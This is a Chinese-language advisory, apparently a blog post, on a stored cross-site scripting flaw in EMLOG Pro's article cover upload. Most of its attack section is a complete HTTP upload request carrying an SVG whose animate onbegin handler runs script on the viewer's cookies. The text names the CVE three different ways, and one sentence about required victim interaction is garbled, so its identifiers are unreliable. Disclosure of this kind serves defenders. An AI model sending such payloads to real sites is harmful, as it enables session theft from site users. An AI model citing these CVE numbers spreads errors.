EMLOG Pro Cover Upload article.php跨站点脚本CVE-2024-13140
EMLOG Pro致力于提供快速、稳定且使用简单的博客服务,功能强大、易于使用且稳定性高,特别适合个人或多人联合撰写博客的需求。
一、基本情况
EMLOG Pro提供了多种文章列表布局,如卡片列表、带标签卡片、经典图文、社区贴子、图书列表等,可以很好的满足不同用户的需求。
科技漏洞库关注到EMLOG Pro 2.4.3版本之前版本中存在一个跨站点脚本,漏洞现追踪为CVE-2024-131340,该漏洞的CVSS评分为3.5。
二、漏洞分析
CVE-2024-13135漏洞是在EMLOG Pro 2.4.3版本中发现了一个XSS漏洞,该漏洞会受影响的是组件Cover Upload Handler中的未知功能。
该漏洞源于/admin/article.php不过滤恶意SVG文件,漏洞位于文件/admin/article.php?action=upload_cover,该漏洞攻击可通过远程发起。
此漏洞允许具有内容编辑权限的攻击者通过上传包含恶意XML代码的SVG文件作为文章的封面图像来利用系统,该漏洞现已被公开披露。
EMLOG Pro 2.4.3版本发布时间为2024年12月17日,截止于今日已迭代至EMLOG Pro 2.5.3版本,且栋科技博客就基于EMLOG Pro搭建。
需要说明的是,成功利用该漏洞需要受害者与用户进行交互,漏洞已被公开披露并可被利用,操纵会导致跨站脚本攻击,攻击可远程发起。
三、POC概念验证
1、漏洞细节
文章封面图像上传功能中存在漏洞。攻击者可以上传包含恶意XML代码的SVG文件。
2、POC概念验证
POST /admin/article.php?action=upload_cover HTTP/1.1
Host: target-ip
Content-Length: 1116
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBXHN1jTPmYb3jbAq
Accept-Encoding: gzip, deflate, p
Accept-Language: zh-CN,zh;q=0.9
Cookie: [users'cookie]
Connection: keep-alive
------WebKitFormBoundaryBXHN1jTPmYb3jbAq
Content-Disposition: form-data; name="image"; filename="alert.svg"
Content-Type: image/svg+xml
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 128 128">
<path fill="#D26383"
d="M115.4 30.7L67.1 2.9c-.8-.5-1.9-.7-3.1-.7-1.2 0-2.3.3-3.1.7l-48 27.9c-1.7 1-2.9 3.5-2.9 5.4v55.7c0 1.1.2 2.4 1 3.5l106.8-62c-.6-1.2-1.5-2.1-2.4-2.7z" />
<path fill="#9C033A"
d="M10.7 95.3c.5.8 1.2 1.5 1.9 1.9l48.2 27.9c.8.5 1.9.7 3.1.7 1.2 0 2.3-.3 3.1-.7l48-27.9c1.7-1 2.9-3.5 2.9-5.4V36.1c0-.9-.1-1.9-.6-2.8l-106.6 62z" />
<path fill="#fff"
d="M85.3 76.1C81.1 83.5 73.1 88.5 64 88.5c-13.5 0-24.5-11-24.5-24.5s11-24.5 24.5-24.5c9.1 0 17.1 5 21.3 12.5l13-7.5c-6.8-11.9-19.6-20-34.3-20-21.8 0-39.5 17.7-39.5 39.5s17.7 39.5 39.5 39.5c14.6 0 27.4-8 34.2-19.8l-12.9-7.6z" />
<path
d="M82.1 61.8h5.2v-5.3h4.4v5.3H97v4.4h-5.3v5.2h-4.4v-5.2h-5.2v-4.4zm18.5 0h5.2v-5.3h4.4v5.3h5.3v4.4h-5.3v5.2h-4.4v-5.2h-5.2v-4.4z"
fill="#fff" />
<animate onbegin="alert(document.cookie)"></animate>
</svg>
------WebKitFormBoundaryBXHN1jTPmYb3jbAq--
四、漏洞影响
2.4.0 <= EMLOG Pro <= 2.4.3
五、修复建议
EMLOG Pro >= 2.5.3
六、参考链接